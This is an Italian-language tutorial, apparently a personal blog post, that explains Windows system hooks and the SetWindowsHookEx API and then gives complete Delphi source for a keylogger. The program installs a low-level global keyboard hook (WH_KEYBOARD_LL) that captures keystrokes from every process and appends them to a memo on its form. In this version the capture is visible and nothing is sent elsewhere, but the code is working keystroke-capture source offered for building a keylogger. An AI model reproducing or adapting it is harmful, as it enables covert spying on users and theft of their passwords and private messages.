|
E' da un pò di tempo che mi volevo costruire un keylogger ed oggi ho deciso
che era il caso di passare dalle parole ai fatti. Ahh dimentivicavo: si tratta
di un programma che intercetta tutti i tasti premuti della tastiera. Ho
cominciato a navigare un pò ed ho reperito numerosi esempi in quasi tutti i
linguaggi di programmazione: in sostanza si crea un Hook di sistema
tramite l' api SetWindowsHookEx ed il gioco è fatto (beehh bisogna
approfondire un pò).
1. Hook di sistema
Un hook è un punto, nel meccanismo di gestione messaggi di windows, in cui
un' applicazione può installare una procedura per monitorare il traffico dei
messaggi ed eseguire determinate operazioni in corrispondenza di determinati
messaggi prima che i medesimi vengano processati dalla Window Procedure
della finestra alla quale sono destinati.
1.1 API per gli Hook di sistema
Un Hook di sistema viene creato tramite una chiamata all' api
SetWindowsHookEx e disinstallato tramite una chiamata all' api
UnhookWindowsHookEx. Di seguito le dichiarazioni
function SetWindowsHookEx(idHook: Integer;
lpfn: TFNHookProc;
hmod: Longword;
dwThreadId: DWORD): HHOOK; stdcall;
function UnhookWindowsHookEx(hhk: LongWord): BOOL; stdcall;
TFNHookProc = function (code: Integer;
wparam: WPARAM;
lparam: LPARAM): LRESULT stdcall;
Analizziamo i parametri della SetWindowsHookEx - idHook: definisce la tipologia di hook che si vuole installare e quindi la tipologia di messaggio che si vuole manipolare ed in quale punto del meccanismo di gestione messaggi questo/i messaggio/i deve essere gestito (WH_KEYBOARD, WH_KEYBOARD_LL, WH_MOUSE, etc...).
- lpfn: indica la funzione che deve essere implementata per definire il comportamento in corrispondenza del tipo di messaggio che si vuole manipolare. Gli stessi parametri wparam ed lparam sono appunto i campi wparam ed lparam tipici di ogni messaggio di Windows (vedere il tipo TMsg nella documentazione di Delphi a tal proposito)
- hMod: definisce l' handle del modulo (dll) in cui è implementata la funzione definita dal parametro lpfn.
- dwThreadId: identificativo del thread (Thread Id o anche TID) nel cui contesto si vuole installare l' hook: 0 equivale a tutti i thread. Se l' id si riferisce all' eseguibile corrente allora la funzione di tipo TFNHookProc può essere tranquillamente implementata nell' eseguibile corrente altrimenti deve essere implementata in una dll
2. Creazione del KeyLogger Volendo creare un programmino che rilevi i tasti premuti nell'ambito di tutti i processi, la scelta può quindi essere quella di installare un Keyboard Hook ossia un Hook di sistema di tipi WH_KEYBOARD. Girando in rete è possibile trovare diversi esempi al riguardo. Tutti usano una dll per implementare la funzione TFNHookProc: infatti (come viene sottolineato del resto anche nel paragrafo precedente nella descrizione del parametro dwThreadId) questo è l'approccio classico. Ho deciso di sperimentare un pò e vedere se era possibile creare un keylogger incorporando tutto nell'eseguibile principale (senza quindi dover ricorrere ad una dll). Dopo aver avuto risultati negativi (crash di explorer.exe) usando il classico valore WH_KEYBOARD, ho provato con l' hook WH_KEYBOARD_LL ed effettivamente con questo tipo di hook (anch' esso relativo alla digitazione di tasti) si può implementare la Hook procedure direttamente nell' eseguibile e non necessariamante in una dll esterna (con notevoli semplificazioni: il dialogo con una dll esterna dovrebbe avvenire tramite scambio messaggio ed utilizzo di oggetti per la comunicazione tra processi come ad esempio file mappati in memoria, mailslot, pipe, nonchè strumenti per l' accesso esclusivo ai dati e sincronizzazioni quali semafori, mutex, sezioni critiche etc...). Per installare l' hook WH_KEYBOARD_LL, andrò a specificare l' intero 13 come valore per il parametro idHook nell' api SetWindowsHookEx. E così ecco il sorgente del KeyLogger tutto in un eseguibile
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, AppEvnts;
type
PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT;
KBDLLHOOKSTRUCT = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: Longword;
end;
type
TForm1 = class(TForm)
btHook: TButton;
btUnhook: TButton;
Memo1: TMemo;
procedure btHookClick(Sender: TObject);
procedure btUnhookClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
hinstDLL: LongWord;
hhookSysMsg: Longword;
implementation
{$R *.dfm}
function KeyboardHookProcedure(nCode: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall;
var
strKeyName : string;
hooked: KBDLLHOOKSTRUCT;
dwMsg: DWORD;
begin
result := 0;
if ((nCode = HC_ACTION) and
((wParam = WM_SYSKEYUP) or
(wParam = WM_KEYUP))) then
begin
hooked := PKBDLLHOOKSTRUCT(lParam)^;
dwMsg := 0;
dwMsg := dwMsg + (hooked.scanCode shl 16);
dwMsg := dwMsg + (hooked.flags shl 24);
SetLength(strKeyName, 20);
GetKeyNameText(dwMsg, pChar(strKeyName), $FF);
strKeyName := copy(strKeyName,1,StrLen(pChar(strKeyName)));
Form1.Memo1.Text := Form1.Memo1.Text + '{' + strKeyName + '}';
end;
result := CallNextHookEx(hhookSysMsg, nCode, wParam, lParam);
end;
procedure TForm1.btHookClick(Sender: TObject);
begin
hinstDLL := GetModuleHandle(nil);
hhookSysMsg := SetWindowsHookEx(13, @KeyboardHookProcedure, hinstDLL, 0);
end;
procedure TForm1.btUnhookClick(Sender: TObject);
begin
UnhookWindowsHookEx(hhookSysMsg);
end;
end.
|